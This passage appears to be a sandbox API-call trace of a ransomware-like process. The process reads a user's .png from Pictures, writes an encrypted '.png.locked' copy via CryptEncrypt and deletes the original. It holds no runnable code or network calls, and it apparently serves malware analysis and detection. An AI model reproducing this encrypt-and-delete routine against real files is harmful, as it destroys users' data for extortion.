lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.525] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.525] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.525] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.525] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.525] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.525] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.525] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.525] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.527] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.527] GetFileType (hFile=0x764) returned 0x1 [0137.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.528] GetFileType (hFile=0x764) returned 0x1 [0137.528] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.528] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.528] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.528] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.528] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.528] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", lpFilePart=0x0) returned 0x3d [0137.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.528] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.529] GetFileType (hFile=0x778) returned 0x1 [0137.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.529] GetFileType (hFile=0x778) returned 0x1 [0137.529] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.529] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x69ae894 | out: pbBuffer=0x69ae894) returned 1 [0137.529] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.529] CryptDuplicateKey (in: hKey=0x8e85138, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84d38) returned 1 [0137.529] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.529] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x4, pbData=0x69afb50*=0x1, dwFlags=0x0) returned 1 [0137.529] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x1, pbData=0x69afb1c, dwFlags=0x0) returned 1 [0137.529] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xb40\x438\x24a") returned 0x0 [0137.529] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.529] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.529] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.530] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.530] ReadFile (in: hFile=0x764, lpBuffer=0x69b3174, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69b3174*, lpNumberOfBytesRead=0x99ae7a8*=0xad10, lpOverlapped=0x0) returned 1 [0137.530] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69c7180*, pdwDataLen=0x99ae79c*=0xad10, dwBufLen=0xad10 | out: pbData=0x69c7180*, pdwDataLen=0x99ae79c*=0xad10) returned 1 [0137.530] WriteFile (in: hFile=0x778, lpBuffer=0x69ae954*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69ae954*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.531] WriteFile (in: hFile=0x778, lpBuffer=0x69c816c*, nNumberOfBytesToWrite=0x9d24, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69c816c*, lpNumberOfBytesWritten=0x99ae780*=0x9d24, lpOverlapped=0x0) returned 1 [0137.531] ReadFile (in: hFile=0x764, lpBuffer=0x69b3174, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69b3174*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.531] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d1eb4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69d1eb4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.531] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d1ee8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69d1ee8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.531] WriteFile (in: hFile=0x778, lpBuffer=0x69ae954*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69ae954*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.532] CloseHandle (hObject=0x778) returned 1 [0137.533] CloseHandle (hObject=0x764) returned 1 [0137.533] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.533] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.534] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.534] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.535] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 0x20 [0137.535] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.536] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.536] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.536] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.536] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.536] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.536] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.536] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.536] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.536] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.536] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.536] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.536] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.536] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.536] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.537] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 0x20 [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.537] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png\\", lpFilePart=0x0) returned 0x37 [0137.537] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.538] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.538] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.538] CoTaskMemFree (pv=0x8eb8d30) [0137.539] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 0x20 [0137.539] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.539] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.540] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png"), fInfoLevelId=0x0, lpFileInformation=0x69e4808 | out: lpFileInformation=0x69e4808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd20d940, ftCreationTime.dwHighDateTime=0x1d49def, ftLastAccessTime.dwLowDateTime=0x1191b530, ftLastAccessTime.dwHighDateTime=0x1d49e49, ftLastWriteTime.dwLowDateTime=0x1191b530, ftLastWriteTime.dwHighDateTime=0x1d49e49, nFileSizeHigh=0x0, nFileSizeLow=0xad10)) returned 1 [0137.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.540] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 1 [0137.542] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.542] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.542] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.542] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.542] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.543] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png.locked")) returned 0x20 [0137.543] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png.locked")) returned 0x20 [0137.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", lpFilePart=0x0) returned 0x3d [0137.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", lpFilePart=0x0) returned 0x3d [0137.543] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.544] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", lpFilePart=0x0) returned 0x36 [0137.544] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 